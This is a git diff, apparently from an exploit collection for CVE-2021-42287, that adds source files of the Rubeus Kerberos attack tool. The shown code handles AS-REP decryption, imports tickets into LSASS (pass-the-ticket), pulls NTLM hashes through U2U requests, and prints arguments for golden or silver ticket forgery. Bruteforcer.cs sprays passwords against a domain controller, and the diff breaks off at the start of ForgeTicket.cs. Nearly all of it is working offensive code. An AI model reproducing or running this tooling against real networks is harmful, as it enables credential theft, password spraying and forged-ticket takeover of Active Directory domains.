String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory); + if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString())) + outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive); + if (li.KerbValidationInfo.GroupCount > 0) + outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + if (li.KerbValidationInfo.SidCount > 0) + outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + if (li.KerbValidationInfo.ResourceGroupCount > 0) + outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + try + { + outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime()); + } + catch { } + DateTime? passLastSet = null; + try + { + passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32)); + } + catch { } + if (passLastSet != null) + { + outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime()); + DateTime? passCanSet = null; + try + { + passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32)); + } + catch { } + if (passCanSet != null) + outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days); + DateTime? passMustSet = null; + try + { + passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32)); + } + catch { } + if (passMustSet != null) + outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days); + } + if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString())) + outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm); + if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) + outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", "")); + } + } + + Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs); + } + + return kirbiBytes; + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + return null; + } + + private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "") + { + // parse the response to an AS-REP + AS_REP rep = new AS_REP(responseAsn); + + // convert the key string to bytes + byte[] key; + if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq)) { + // generate the decryption key using Diffie Hellman shared secret + PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value; + key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0], + pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype)); + } else { + // convert the key string to bytes + key = Helpers.StringToByteArray(keyString); + } + + if (rep.enc_part.etype != (int)etype) + { + // maybe this should be a fatal error instead of just a warning? + Console.WriteLine($"[!] Warning: Supplied encyption key type is {etype} but AS-REP contains data encrypted with {(Interop.KERB_ETYPE)rep.enc_part.etype}"); + } + + // decrypt the enc_part containing the session key/etc. + + byte[] outBytes; + + if (etype == Interop.KERB_ETYPE.des_cbc_md5) + { + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); + } + else if (etype == Interop.KERB_ETYPE.rc4_hmac) + { + // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); + } + else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) + { + // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); + } + else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 + outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); + } + else + { + throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); + } + + AsnElt ae = null; + bool decodeSuccess = false; + try + { + ae = AsnElt.Decode(outBytes); + // Make sure the data has expected value so we know decryption was successful (from kerberos spec: EncASRepPart ::= [APPLICATION 25] ) + if (ae.TagValue == 25) + { + decodeSuccess = true; + } + } + catch (Exception ex) + { + Console.WriteLine("[X] Error parsing encrypted part of AS-REP: " + ex.Message); + } + + if (decodeSuccess == false) + { + Console.WriteLine($"[X] Failed to decrypt TGT using supplied password/hash. If this TGT was requested with no preauth then the password supplied may be incorrect or the data was encrypted with a different type of encryption than expected"); + return null; + } + + EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); + + // now build the final KRB-CRED structure + KRB_CRED cred = new KRB_CRED(); + + // add the ticket + cred.tickets.Add(rep.ticket); + + // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart + + KrbCredInfo info = new KrbCredInfo(); + + // [0] add in the session key + info.key.keytype = encRepPart.key.keytype; + info.key.keyvalue = encRepPart.key.keyvalue; + + // [1] prealm (domain) + info.prealm = encRepPart.realm; + + // [2] pname (user) + info.pname.name_type = rep.cname.name_type; + info.pname.name_string = rep.cname.name_string; + + // [3] flags + info.flags = encRepPart.flags; + + // [4] authtime (not required) + + // [5] starttime + info.starttime = encRepPart.starttime; + + // [6] endtime + info.endtime = encRepPart.endtime; + + // [7] renew-till + info.renew_till = encRepPart.renew_till; + + // [8] srealm + info.srealm = encRepPart.realm; + + // [9] sname + info.sname.name_type = encRepPart.sname.name_type; + info.sname.name_string = encRepPart.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + byte[] kirbiBytes = cred.Encode().Encode(); + + if (verbose) + { + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + if (Rubeus.Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + } + + if (!String.IsNullOrEmpty(outfile)) + { + outfile = Helpers.MakeValidFileName(outfile); + if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) + { + if (verbose) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); + } + } + } + + if (ptt || ((ulong)luid != 0)) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, luid); + } + + if (describe) + { + KRB_CRED kirbi = new KRB_CRED(kirbiBytes); + LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key); + } + + if (getCredentials) + { + Console.WriteLine("[*] Getting credentials using U2U\r\n"); + byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true); + byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes); + if (u2uResponse == null) + { + return null; + } + AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse); + + // check the response value + int responseTag = u2uResponseAsn.TagValue; + + if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + // parse the response to an TGS-REP and get the PAC + TGS_REP u2uRep = new TGS_REP(u2uResponseAsn); + EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key); + PACTYPE pt = u2uEncTicketPart.GetPac(key); + + // look for the credential information and print + foreach (var pacInfoBuffer in pt.PacInfoBuffers) + { + if (pacInfoBuffer is PacCredentialInfo ci) + { + + Console.WriteLine(" CredentialInfo :"); + Console.WriteLine(" Version : {0}", ci.Version); + Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType); + + if (ci.CredentialInfo.HasValue) + { + + Console.WriteLine(" CredentialData :"); + Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount); + + foreach (var credData in ci.CredentialInfo.Value.Credentials) + { + string hash = ""; + if ("NTLM".Equals(credData.PackageName.ToString())) + { + int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0); + int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4); + if (flags == 3) + { + hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); + } + else + { + hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); + } + } + else + { + hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials); + } + + Console.WriteLine(" {0} : {1}", credData.PackageName, hash); + } + + } + else + { + Console.WriteLine(" CredentialData : *** NO KEY ***"); + } + } + } + } + else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) + { + // parse the response to an KRB-ERROR + KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]); + Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); + } + else + { + Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); + } + } + + return kirbiBytes; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Bruteforcer.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Bruteforcer.cs new file mode 100644 index 0000000..d19e1fd --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Bruteforcer.cs @@ -0,0 +1,177 @@ +using System; +using System.Collections.Generic; + +namespace Rubeus +{ + + public interface IBruteforcerReporter + { + void ReportValidPassword(string domain, string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE); + void ReportValidUser(string domain, string username); + void ReportInvalidUser(string domain, string username); + void ReportBlockedUser(string domain, string username); + void ReportKrbError(string domain, string username, KRB_ERROR krbError); + } + + + public class Bruteforcer + { + + private string domain; + private string dc; + private IBruteforcerReporter reporter; + private Dictionary invalidUsers; + private Dictionary validUsers; + private Dictionary validCredentials; + + public Bruteforcer(string domain, string domainController, IBruteforcerReporter reporter) + { + this.domain = domain; + this.dc = domainController; + this.reporter = reporter; + this.invalidUsers = new Dictionary(); + this.validUsers = new Dictionary(); + this.validCredentials = new Dictionary(); + } + + public bool Attack(string[] usernames, string[] passwords) + { + bool success = false; + foreach (string password in passwords) + { + foreach (string username in usernames) + { + if(this.TestUsernamePassword(username, password)) + { + success = true; + } + } + } + + return success; + } + + private bool TestUsernamePassword(string username, string password) + { + try + { + if (!invalidUsers.ContainsKey(username) && !validCredentials.ContainsKey(username)) + { + this.GetUsernamePasswordTGT(username, password); + return true; + } + } + catch (KerberosErrorException ex) + { + return this.HandleKerberosError(ex, username, password); + } + + return false; + } + + private void GetUsernamePasswordTGT(string username, string password) + { + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; + string salt = String.Format("{0}{1}", domain.ToUpper(), username); + + // special case for computer account salts + if (username.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), username.TrimEnd('$').ToLower(), domain.ToLower()); + } + + string hash = Crypto.KerberosPasswordHash(encType, password, salt); + + AS_REQ unpwAsReq = AS_REQ.NewASReq(username, domain, hash, encType); + + byte[] TGT = Ask.InnerTGT(unpwAsReq, encType, null, false, this.dc); + + this.ReportValidPassword(username, password, TGT); + } + + private bool HandleKerberosError(KerberosErrorException ex, string username, string password) + { + + + KRB_ERROR krbError = ex.krbError; + bool ret = false; + + switch ((Interop.KERBEROS_ERROR)krbError.error_code) + { + case Interop.KERBEROS_ERROR.KDC_ERR_PREAUTH_FAILED: + this.ReportValidUser(username); + break; + case Interop.KERBEROS_ERROR.KDC_ERR_C_PRINCIPAL_UNKNOWN: + this.ReportInvalidUser(username); + break; + case Interop.KERBEROS_ERROR.KDC_ERR_CLIENT_REVOKED: + this.ReportBlockedUser(username); + break; + case Interop.KERBEROS_ERROR.KDC_ERR_ETYPE_NOTSUPP: + this.ReportInvalidEncryptionType(username, krbError); + break; + case Interop.KERBEROS_ERROR.KDC_ERR_KEY_EXPIRED: + this.ReportValidPassword(username, password, null, (Interop.KERBEROS_ERROR)krbError.error_code); + ret = true; + break; + default: + this.ReportKrbError(username, krbError); + throw ex; + } + return ret; + } + + private void ReportValidPassword(string username, string password, byte[] ticket, Interop.KERBEROS_ERROR err = Interop.KERBEROS_ERROR.KDC_ERR_NONE) + { + + validCredentials.Add(username, password); + if (!validUsers.ContainsKey(username)) + { + validUsers.Add(username, true); + } + this.reporter.ReportValidPassword(this.domain, username, password, ticket, err); + } + + private void ReportValidUser(string username) + { + if (!validUsers.ContainsKey(username)) + { + validUsers.Add(username, true); + this.reporter.ReportValidUser(this.domain, username); + } + } + + private void ReportInvalidUser(string username) + { + if (!invalidUsers.ContainsKey(username)) + { + invalidUsers.Add(username, true); + this.reporter.ReportInvalidUser(this.domain, username); + } + } + + private void ReportBlockedUser(string username) + { + if (!invalidUsers.ContainsKey(username)) + { + invalidUsers.Add(username, true); + this.reporter.ReportBlockedUser(this.domain, username); + } + } + + private void ReportInvalidEncryptionType(string username, KRB_ERROR krbError) + { + if (!invalidUsers.ContainsKey(username)) + { + invalidUsers.Add(username, true); + this.ReportKrbError(username, krbError); + } + } + + private void ReportKrbError(string username, KRB_ERROR krbError) + { + this.reporter.ReportKrbError(this.domain, username, krbError); + } + + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ConsoleTable.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ConsoleTable.cs new file mode 100644 index 0000000..a2ec82a --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ConsoleTable.cs @@ -0,0 +1,157 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Text.RegularExpressions; + +// Copyright (c) 2013 Khalid Abuhakmeh, The MIT License (MIT) +// Source: https://github.com/khalidabuhakmeh/ConsoleTables + +// Changes: +// Restricted values to strings +// Removed divider from between each row +// Removed additional formatting logic + +namespace ConsoleTables +{ + public class ConsoleTable + { + public IList Columns { get; set; } + public IList Rows { get; protected set; } + + public ConsoleTableOptions Options { get; protected set; } + + public ConsoleTable(params string[] columns) + :this(new ConsoleTableOptions { Columns = new List(columns) }) + { + } + + public ConsoleTable(ConsoleTableOptions options) + { + Options = options; + Rows = new List(); + Columns = new List(options.Columns); + } + + public ConsoleTable AddColumn(IEnumerable names) + { + foreach (var name in names) + Columns.Add(name); + return this; + } + + public ConsoleTable AddRow(params string[] values) + { + if (values == null) + throw new ArgumentNullException(nameof(values)); + + if (!Columns.Any()) + throw new Exception("Please set the columns first"); + + if (Columns.Count != values.Length) + throw new Exception( + $"The number columns in the row ({Columns.Count}) does not match the values ({values.Length}"); + + Rows.Add(values); + return this; + } + + public override string ToString() + { + var builder = new StringBuilder(); + + // find the longest column by searching each row + var columnLengths = ColumnLengths(); + + // create the string format with padding + var format = Enumerable.Range(0, Columns.Count) + .Select(i => " | {" + i + ",-" + columnLengths[i] + "}") + .Aggregate((s, a) => s + a) + " |"; + + // find the longest formatted line + var maxRowLength = Math.Max(0, Rows.Any() ? Rows.Max(row => string.Format(format, row).Length) : 0); + var columnHeaders = string.Format(format, Columns.ToArray()); + + // longest line is greater of formatted columnHeader and longest row + var longestLine = Math.Max(maxRowLength, columnHeaders.Length); + + // add each row + var results = Rows.Select(row => string.Format(format, row)).ToList(); + + // create the divider + var divider = String.Format(" {0} ", new String('-', longestLine - 1)); + + builder.AppendLine(divider); + builder.AppendLine(columnHeaders); + builder.AppendLine(divider); + + foreach (var row in results) + { + //builder.AppendLine(divider); + builder.AppendLine(row); + } + + builder.AppendLine(divider); + + return builder.ToString(); + } + + private string Format(List columnLengths, char delimiter = '|') + { + var delimiterStr = delimiter == char.MinValue ? string.Empty : delimiter.ToString(); + var format = (Enumerable.Range(0, Columns.Count) + .Select(i => " "+ delimiterStr + " {" + i + ",-" + columnLengths[i] + "}") + .Aggregate((s, a) => s + a) + " " + delimiterStr).Trim(); + return format; + } + + private List ColumnLengths() + { + var columnLengths = Columns + .Select((t, i) => Rows.Select(x => x[i]) + .Union(new[] { Columns[i] }) + .Where(x => x != null) + .Select(x => x.ToString().Length).Max()) + .ToList(); + return columnLengths; + } + + public void Write(Format format = ConsoleTables.Format.Default) + { + switch (format) + { + case ConsoleTables.Format.Default: + Console.WriteLine(ToString()); + break; + + default: + throw new ArgumentOutOfRangeException(nameof(format), format, null); + } + } + + private static IEnumerable GetColumns() + { + return typeof(T).GetProperties().Select(x => x.Name).ToArray(); + } + + private static object GetColumnValue(object target, string column) + { + return typeof(T).GetProperty(column).GetValue(target, null); + } + } + + public class ConsoleTableOptions + { + public IEnumerable Columns { get; set; } = new List(); + public bool EnableCount { get; set; } = true; + } + + public enum Format + { + Default = 0, + MarkDown = 1, + Alternative = 2, + Minimal = 3 + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Crypto.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Crypto.cs new file mode 100644 index 0000000..290a825 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/Crypto.cs @@ -0,0 +1,197 @@ +using System; +using System.Linq; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.ComponentModel; + +namespace Rubeus +{ + public class Crypto + { + public static void ComputeAllKerberosPasswordHashes(string password, string userName = "", string domainName = "") + { + // use KerberosPasswordHash() to calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes for a given password + + Console.WriteLine("[*] Input password : {0}", password); + + string salt = String.Format("{0}{1}", domainName.ToUpper(), userName); + + // special case for computer account salts + if (userName.EndsWith("$")) + { + salt = String.Format("{0}host{1}.{2}", domainName.ToUpper(), userName.TrimEnd('$').ToLower(), domainName.ToLower()); + } + + if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domainName)) + { + Console.WriteLine("[*] Input username : {0}", userName); + Console.WriteLine("[*] Input domain : {0}", domainName); + Console.WriteLine("[*] Salt : {0}", salt); + } + + string rc4Hash = KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password); + Console.WriteLine("[*] rc4_hmac : {0}", rc4Hash); + + if (String.IsNullOrEmpty(userName) || String.IsNullOrEmpty(domainName)) + { + Console.WriteLine("\r\n[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!"); + } + else + { + string aes128Hash = KerberosPasswordHash(Interop.KERB_ETYPE.aes128_cts_hmac_sha1, password, salt); + Console.WriteLine("[*] aes128_cts_hmac_sha1 : {0}", aes128Hash); + + string aes256Hash = KerberosPasswordHash(Interop.KERB_ETYPE.aes256_cts_hmac_sha1, password, salt); + Console.WriteLine("[*] aes256_cts_hmac_sha1 : {0}", aes256Hash); + + string desHash = KerberosPasswordHash(Interop.KERB_ETYPE.des_cbc_md5, String.Format("{0}{1}", password, salt), salt); + Console.WriteLine("[*] des_cbc_md5 : {0}", desHash); + } + + Console.WriteLine(); + } + + public static string KerberosPasswordHash(Interop.KERB_ETYPE etype, string password, string salt = "", int count = 4096) + { + // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype + // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation + + Interop.KERB_ECRYPT pCSystem; + IntPtr pCSystemPtr; + + // locate the crypto system for the hash type we want + int status = Interop.CDLocateCSystem(etype, out pCSystemPtr); + + pCSystem = (Interop.KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); + if (status != 0) + throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem"); + + // get the delegate for the password hash function + Interop.KERB_ECRYPT_HashPassword pCSystemHashPassword = (Interop.KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pCSystem.HashPassword, typeof(Interop.KERB_ECRYPT_HashPassword)); + Interop.UNICODE_STRING passwordUnicode = new Interop.UNICODE_STRING(password); + Interop.UNICODE_STRING saltUnicode = new Interop.UNICODE_STRING(salt); + + byte[] output = new byte[pCSystem.KeySize]; + + int success = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output); + + if (status != 0) + throw new Win32Exception(status); + + return System.BitConverter.ToString(output).Replace("-", ""); + } + + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + public static byte[] KerberosChecksum(byte[] key, byte[] data, Interop.KERB_CHECKSUM_ALGORITHM cksumType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5, int keyUsage = Interop.KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT) + { + Interop.KERB_CHECKSUM pCheckSum; + IntPtr pCheckSumPtr; + int status = Interop.CDLocateCheckSum(cksumType, out pCheckSumPtr); + pCheckSum = (Interop.KERB_CHECKSUM)Marshal.PtrToStructure(pCheckSumPtr, typeof(Interop.KERB_CHECKSUM)); + if (status != 0) + { + throw new Win32Exception(status, "CDLocateCheckSum failed"); + } + + IntPtr Context; + Interop.KERB_CHECKSUM_InitializeEx pCheckSumInitializeEx = (Interop.KERB_CHECKSUM_InitializeEx)Marshal.GetDelegateForFunctionPointer(pCheckSum.InitializeEx, typeof(Interop.KERB_CHECKSUM_InitializeEx)); + Interop.KERB_CHECKSUM_Sum pCheckSumSum = (Interop.KERB_CHECKSUM_Sum)Marshal.GetDelegateForFunctionPointer(pCheckSum.Sum, typeof(Interop.KERB_CHECKSUM_Sum)); + Interop.KERB_CHECKSUM_Finalize pCheckSumFinalize = (Interop.KERB_CHECKSUM_Finalize)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finalize, typeof(Interop.KERB_CHECKSUM_Finalize)); + Interop.KERB_CHECKSUM_Finish pCheckSumFinish = (Interop.KERB_CHECKSUM_Finish)Marshal.GetDelegateForFunctionPointer(pCheckSum.Finish, typeof(Interop.KERB_CHECKSUM_Finish)); + + // initialize the checksum + // KERB_NON_KERB_CKSUM_SALT = 17 + int status2 = pCheckSumInitializeEx(key, key.Length, (int)keyUsage, out Context); + if (status2 != 0) + throw new Win32Exception(status2); + + // the output buffer for the checksum data + byte[] checksumSrv = new byte[pCheckSum.Size]; + + // actually checksum all the supplied data + pCheckSumSum(Context, data.Length, data); + + // finish everything up + pCheckSumFinalize(Context, checksumSrv); + pCheckSumFinish(ref Context); + + return checksumSrv; + } + + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262 + public static byte[] KerberosDecrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data) + { + Interop.KERB_ECRYPT pCSystem; + IntPtr pCSystemPtr; + + // locate the crypto system + int status = Interop.CDLocateCSystem(eType, out pCSystemPtr); + pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); + if (status != 0) + throw new Win32Exception(status, "Error on CDLocateCSystem"); + + // initialize everything + IntPtr pContext; + Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize)); + Interop.KERB_ECRYPT_Decrypt pCSystemDecrypt = (Interop.KERB_ECRYPT_Decrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Decrypt, typeof(Interop.KERB_ECRYPT_Decrypt)); + Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish)); + status = pCSystemInitialize(key, key.Length, keyUsage, out pContext); + if (status != 0) + throw new Win32Exception(status); + + int outputSize = data.Length; + if (data.Length % pCSystem.BlockSize != 0) + outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize); + + string algName = Marshal.PtrToStringAuto(pCSystem.AlgName); + + outputSize += pCSystem.Size; + byte[] output = new byte[outputSize]; + + // actually perform the decryption + status = pCSystemDecrypt(pContext, data, data.Length, output, ref outputSize); + pCSystemFinish(ref pContext); + + return output.Take(outputSize).ToArray(); + } + + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2235-L2262 + public static byte[] KerberosEncrypt(Interop.KERB_ETYPE eType, int keyUsage, byte[] key, byte[] data) + { + Interop.KERB_ECRYPT pCSystem; + IntPtr pCSystemPtr; + + // locate the crypto system + int status = Interop.CDLocateCSystem(eType, out pCSystemPtr); + pCSystem = (Interop.KERB_ECRYPT)Marshal.PtrToStructure(pCSystemPtr, typeof(Interop.KERB_ECRYPT)); + if (status != 0) + throw new Win32Exception(status, "Error on CDLocateCSystem"); + + // initialize everything + IntPtr pContext; + Interop.KERB_ECRYPT_Initialize pCSystemInitialize = (Interop.KERB_ECRYPT_Initialize)Marshal.GetDelegateForFunctionPointer(pCSystem.Initialize, typeof(Interop.KERB_ECRYPT_Initialize)); + Interop.KERB_ECRYPT_Encrypt pCSystemEncrypt = (Interop.KERB_ECRYPT_Encrypt)Marshal.GetDelegateForFunctionPointer(pCSystem.Encrypt, typeof(Interop.KERB_ECRYPT_Encrypt)); + Interop.KERB_ECRYPT_Finish pCSystemFinish = (Interop.KERB_ECRYPT_Finish)Marshal.GetDelegateForFunctionPointer(pCSystem.Finish, typeof(Interop.KERB_ECRYPT_Finish)); + status = pCSystemInitialize(key, key.Length, keyUsage, out pContext); + if (status != 0) + throw new Win32Exception(status); + + int outputSize = data.Length; + if (data.Length % pCSystem.BlockSize != 0) + outputSize += pCSystem.BlockSize - (data.Length % pCSystem.BlockSize); + + string algName = Marshal.PtrToStringAuto(pCSystem.AlgName); + + outputSize += pCSystem.Size; + byte[] output = new byte[outputSize]; + + // actually perform the decryption + status = pCSystemEncrypt(pContext, data, data.Length, output, ref outputSize); + pCSystemFinish(ref pContext); + + return output; + } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ForgeTicket.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ForgeTicket.cs new file mode 100644 index 0000000..53d96bf --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ForgeTicket.cs @@ -0,0 +1,1165 @@ +using System; +using System.Text; +using System.Security.Principal; +using System.Collections.Generic; +using System.Linq; +using System.Globalization; +using System.DirectoryServices; +using System.Text.RegularExpressions; +using Rubeus.lib.Interop; +using Rubeus.Kerberos.PAC; +using Rubeus.Kerberos; + +namespace Rubeus +{ + public class ForgeTickets + { + public static void ForgeTicket( + // always required arguments + string user, + string sname, + byte[] serviceKey, + Interop.KERB_ETYPE etype, + // krbtgt key information + byte[] krbKey = null, + Interop.KERB_CHECKSUM_ALGORITHM krbeType = Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, + // ldap information + bool ldap = false, + string ldapuser = null, + string ldappassword = null, + // domain and DC information + string sid = "", + string domain = "", + string netbiosName = "", + string domainController = "", + // ticket flags + Interop.TicketFlags flags = Interop.TicketFlags.forwardable | 